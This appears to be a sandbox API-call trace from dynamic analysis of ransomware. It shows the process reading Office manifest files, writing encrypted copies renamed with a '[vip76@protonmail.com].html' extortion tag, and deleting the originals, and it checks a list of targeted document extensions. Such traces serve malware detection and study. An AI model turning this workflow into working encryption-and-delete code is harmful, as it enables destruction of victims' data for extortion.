	[0067.534] lstrlenW (lpString=".bz2") returned 4
	[0067.534] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0067.534] lstrlenW (lpString=".7z") returned 3
	[0067.534] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0067.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104
	[0067.534] lstrlenW (lpString=".dbf") returned 4
	[0067.534] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0067.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104
	[0067.534] lstrlenW (lpString=".1cd") returned 4
	[0067.534] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0067.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104
	[0067.534] lstrlenW (lpString=".jpg") returned 4
	[0067.534] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0067.535] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0067.535] lstrlenW (lpString="AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 53
	[0067.535] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0067.536] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=1261) returned 1
	[0067.536] CloseHandle (hObject=0x334) returned 1
	[0067.536] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml")) returned 0x220
	[0067.536] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0067.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0067.536] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0067.536] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0067.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0067.536] GetLastError () returned 0x0
	[0067.536] ReadFile (in: hFile=0x334, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x4ed, lpOverlapped=0x0) returned 1
	[0067.556] WriteFile (in: hFile=0x340, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x4f0, lpOverlapped=0x0) returned 1
	[0067.557] ReadFile (in: hFile=0x334, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0067.557] WriteFile (in: hFile=0x340, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0067.557] SetEndOfFile (hFile=0x340) returned 1
	[0067.557] CloseHandle (hObject=0x340) returned 1
	[0067.559] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0067.559] SetEndOfFile (hFile=0x334) returned 1
	[0067.560] CloseHandle (hObject=0x334) returned 1
	[0067.560] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0067.561] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml")) returned 1
	[0067.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104
	[0067.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104
	[0067.561] lstrlenW (lpString=".doc") returned 4
	[0067.561] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0067.561] lstrlenW (lpString=".docx") returned 5
	[0067.561] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0067.561] lstrlenW (lpString=".pdf") returned 4
	[0067.561] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0067.561] lstrlenW (lpString=".xls") returned 4
	[0067.561] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0067.561] lstrlenW (lpString=".xlsx") returned 5
	[0067.561] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0067.561] lstrlenW (lpString=".ppt") returned 4
	[0067.561] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0067.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104
	[0067.561] lstrlenW (lpString=".zip") returned 4
	[0067.561] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0067.561] lstrlenW (lpString=".rar") returned 4
	[0067.561] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0067.561] lstrlenW (lpString=".bz2") returned 4
	[0067.561] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0067.561] lstrlenW (lpString=".7z") returned 3
	[0067.562] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0067.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104
	[0067.562] lstrlenW (lpString=".dbf") returned 4
	[0067.562] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0067.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104
	[0067.562] lstrlenW (lpString=".1cd") returned 4
	[0067.562] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0067.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104
	[0067.562] lstrlenW (lpString=".jpg") returned 4
	[0067.562] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0067.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104
	[0067.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104
	[0067.562] lstrlenW (lpString=".doc") returned 4
	[0067.562] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0067.562] lstrlenW (lpString=".docx") returned 5
	[0067.562] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0067.562] lstrlenW (lpString=".pdf") returned 4
	[0067.562] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0067.562] lstrlenW (lpString=".xls") returned 4
	[0067.562] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0067.562] lstrlenW (lpString=".xlsx") returned 5
	[0067.562] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0067.562] lstrlenW (lpString=".ppt") returned 4
	[0067.562] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0067.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104
	[0067.562] lstrlenW (lpString=".zip") returned 4
	[0067.562] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0067.562] lstrlenW (lpString=".rar") returned 4
	[0067.562] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0067.563] lstrlenW (lpString=".bz2") returned 4
	[0067.563] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0067.563] lstrlenW (lpString=".7z") returned 3
	[0067.563] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0067.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104
	[0067.563] lstrlenW (lpString=".dbf") returned 4
	[0067.563] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0067.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104
	[0067.563] lstrlenW (lpString=".1cd") returned 4
	[0067.563] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0067.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104
	[0067.563] lstrlenW (lpString=".jpg") returned 4
	[0067.563] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0067.564] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0067.564] lstrlenW (lpString="AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 53
	[0067.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0067.564] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=1261) returned 1
	[0067.564] CloseHandle (hObject=0x334) returned 1
	[0067.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml")) returned 0x220
	[0067.565] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0067.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0067.565] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0067.565] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0067.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0067.565] GetLastError () returned 0x0
	[0067.565] ReadFile (in: hFile=0x334, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x4ed, lpOverlapped=0x0) returned 1
	[0067.647] WriteFile (in: hFile=0x340, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x4f0, lpOverlapped=0x0) returned 1
	[0067.648] ReadFile (in: hFile=0x334, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0067.649] WriteFile (in: hFile=0x340, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0067.649] SetEndOfFile (hFile=0x340) returned 1
	[0067.649] CloseHandle (hObject=0x340) returned 1
	[0067.650] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0067.650] SetEndOfFile (hFile=0x334) returned 1
	[0067.651] CloseHandle (hObject=0x334) returned 1
	[0067.651] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0067.651] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml")) returned 1
	[0067.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104
	[0067.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104
	[0067.651] lstrlenW (lpString=".doc") returned 4
	[0067.651] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0067.651] lstrlenW (lpString=".docx") returned 5
	[0067.651] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0067.651] lstrlenW (lpString=".pdf") returned 4
	[0067.652] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0067.652] lstrlenW (lpString=".xls") returned 4
	[0067.652] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0067.652] lstrlenW (lpString=".xlsx") returned 5
	[0067.652] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0067.652] lstrlenW (lpString=".ppt") returned 4
	[0067.652] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0067.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104
	[0067.652] lstrlenW (lpString=".zip") returned 4
	[0067.652] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0067.652] lstrlenW (lpString=".rar") returned 4
	[0067.652] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0067.652] lstrlenW (lpString=".bz2") returned 4
	[0067.652] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0067.652] lstrlenW (lpString=".7z") returned 3
	[0067.652] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0067.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104
	[0067.652] lstrlenW (lpString=".dbf") returned 4
	[0067.652] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0067.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104
	[0067.652] lstrlenW (lpString=".1cd") returned 4
	[0067.652] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0067.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104
	[0067.652] lstrlenW (lpString=".jpg") returned 4
	[0067.652] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0067.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104
	[0067.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104
	[0067.652] lstrlenW (lpString=".doc") returned 4
	[0067.652] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0067.652] lstrlenW (lpString=".docx") returned 5
	[0067.652] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0067.653] lstrlenW (lpString=".pdf") returned 4
	[0067.653] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0067.653] lstrlenW (lpString=".xls") returned 4
	[0067.653] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0067.653] lstrlenW (lpString=".xlsx") returned 5
	[0067.653] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0067.653] lstrlenW (lpString=".ppt") returned 4
	[0067.653] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0067.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104
	[0067.653] lstrlenW (lpString=".zip") returned 4
	[0067.653] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0067.653] lstrlenW (lpString=".rar") returned 4
	[0067.653] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0067.653] lstrlenW (lpString=".bz2") returned 4
	[0067.653] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0067.653] lstrlenW (lpString=".7z") returned 3
	[0067.653] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0067.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104
	[0067.653] lstrlenW (lpString=".dbf") returned 4
	[0067.653] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0067.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104
	[0067.653] lstrlenW (lpString=".1cd") returned 4
	[0067.653] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0067.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104
	[0067.653] lstrlenW (lpString=".jpg") returned 4
	[0067.653] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0067.653] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0067.654] lstrlenW (lpString="AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 53
	[0067.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0067.654] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=343329) returned 1
	[0067.654] CloseHandle (hObject=0x334) returned 1
	[0067.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml")) returned 0x220
	[0067.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0067.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0067.654] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0067.654] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0067.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0067.655] GetLastError () returned 0x0
	[0067.655] ReadFile (in: hFile=0x334, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x53d21, lpOverlapped=0x0) returned 1
	[0067.853] WriteFile (in: hFile=0x340, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x53d30, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x53d30, lpOverlapped=0x0) returned 1
	[0067.861] ReadFile (in: hFile=0x334, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0067.861] WriteFile (in: hFile=0x340, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0067.862] SetEndOfFile (hFile=0x340) returned 1
	[0067.862] CloseHandle (hObject=0x340) returned 1
	[0067.871] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0067.871] SetEndOfFile (hFile=0x334) returned 1
	[0067.875] CloseHandle (hObject=0x334) returned 1
	[0067.876] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0067.876] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml")) returned 1
	[0067.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104
	[0067.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104
	[0067.876] lstrlenW (lpString=".doc") returned 4
	[0067.876] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0067.877] lstrlenW (lpString=".docx") returned 5
	[0067.877] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0067.877] lstrlenW (lpString=".pdf") returned 4
	[0067.877] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0067.877] lstrlenW (lpString=".xls") returned 4
	[0067.877] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0067.877] lstrlenW (lpString=".xlsx") returned 5
	[0067.877] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0067.877] lstrlenW (lpString=".ppt") returned 4
	[0067.877] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0067.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104
	[0067.877] lstrlenW (lpString=".zip") returned 4
	[0067.877] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0068.589] lstrlenW (lpString=".rar") returned 4
	[0068.589] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0068.589] lstrlenW (lpString=".bz2") returned 4
	[0068.589] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0068.595] lstrlenW (lpString=".7z") returned 3
	[0068.595] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0068.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104
	[0068.595] lstrlenW (lpString=".dbf") returned 4
	[0068.595] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0068.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104
	[0068.595] lstrlenW (lpString=".1cd") returned 4
	[0068.596] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0068.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104
